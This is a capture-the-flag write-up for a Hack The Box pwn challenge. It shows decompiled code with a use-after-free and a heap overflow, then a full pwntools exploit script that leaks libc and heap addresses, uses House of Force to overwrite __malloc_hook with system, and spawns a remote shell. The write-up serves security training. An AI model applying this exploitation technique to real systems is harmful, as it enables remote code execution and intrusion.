Fancy Names - HTB pwn challenge
- Examining the
menu()
function, there seems to be a use after free after changing our name to a custom one:-
#DEFINE stdout 1 char* pOldName = malloc(100); if (change_times == 0) { free(pOldName); /* use after free */ fflush(stdout); fprintf(stdout,"%s\n[+] Old name has been deleted!%s\n",&DAT_00102948,&green); fflush(stdout); change_times = 1; }
-
- There is also a House of force exploit in the upgrade, function, as it overflows the heap top chunk size field when reading, and also allows us to specify a big size at allocation.
-
if (extraout_RAX == 1) { fwrite("\n[*] Stat points (max 120 per time): ",1,0x25,stdout); fflush(stdout); read_num(); __buf = malloc(__size); if (__buf == (void *)0x0) { fwrite("\n[-] Invalid points size! Exiting..\n",1,0x24,stdout); /* WARNING: Subroutine does not return */ exit(1); } fwrite("\n[*] Stat (e.g. Health, Strength, Agility or Custom): ",1,0x36,stdout); fflush(stdout); read(0,__buf,__size + 8); fprintf(stdout,"%s\n[+] Stat points added!\n%s\n",&DAT_00102948,&green); fflush(stdout); }
-
- To leak the heaps base, we see that it is freed via option 2 and then some random usernames are generated. If we do
not choose any of the suggested names, the __dest_00 buffer is just freed and not zeroed or
assigned with anything.
-
<SNIP> free(__dest_00); fprintf(stdout,"\n%s[!] Name has been deleted!\n[*] Generating suggested names..%s\n", &DAT_00102948,&DAT_00102910); create_random_username(local_268); sleep(1); tVar5 = time((time_t *)0x0); srand((uint)tVar5); create_random_username(local_1f8); sleep(1); tVar5 = time((time_t *)0x0); srand((uint)tVar5); create_random_username(local_188); fflush(stdout); fprintf(stdout,"\n[*] Choose from suggested names:\n\n1. %s\n2. %s\n3. %s\n\n> ",local_268, local_1f8,local_188); fflush(stdout); lVar6 = read_num(); if (lVar6 != 2) break; strcpy(__dest_00,(char *)local_1f8); <SNIP>
-
- exploit.py:
-
from pwn import * from colorama import Fore, Style context.binary = binary = ELF("./fancy_names") libc = ELF("./.glibc/libc.so.6") #p = process() p = remote("94.237.55.207", 56360) # LIBC LEAK ---------------------------------- p.sendlineafter(b"> ",b"1") p.sendafter(b": ",cyclic(56)) p.recvuntil(cyclic(56)) libc_leak = p.recvline()[:-1] libc_leak = unpack(libc_leak,"all") p.success(f"leak: {hex(libc_leak)}") libc.address = libc_leak - 0x64f44 p.success(f"libc.address: {hex(libc.address)}") # -------------------------------------------- # HEAP LEAK ---------------------------------- p.sendlineafter(b': ', b'n') p.sendlineafter(b'> ', b'2') p.sendlineafter(b'> ', b'22') p.sendlineafter(b'> ', b'3') p.recvuntil(b'Welcome ') heap_leak = p.recvline()[:-2] heap_leak = unpack(heap_leak, "all") - 0x260 p.success(f"Heap leak:{hex(heap_leak)}") # -------------------------------------------- # HOUSE OF FORCE EXPLOIT --------------------- p.sendlineafter(b'> ', b'1') #p.recv() p.sendlineafter(b'): ', b'24') p.recv() force = b'A' * 24 + pack(0xfffffff20c08) p.send(force) offset = libc.sym.__malloc_hook - heap_leak - 0x110 - 0x260 p.sendlineafter(b'> ', b'1') p.sendlineafter(b'): ', str(offset).encode()) p.recv() p.send(pack(0xdeadbeef)) p.sendlineafter(b'> ', b'1') p.sendlineafter(b'): ', b'24') p.sendlineafter(b': ', p64(libc.sym.system)) p.sendlineafter(b'> ', b'1') p.sendafter(b'): ', str(next(libc.search(b'/bin/sh\0'))).encode()) # ------------------------------------------ #gdb.attach(p) p.interactive()
-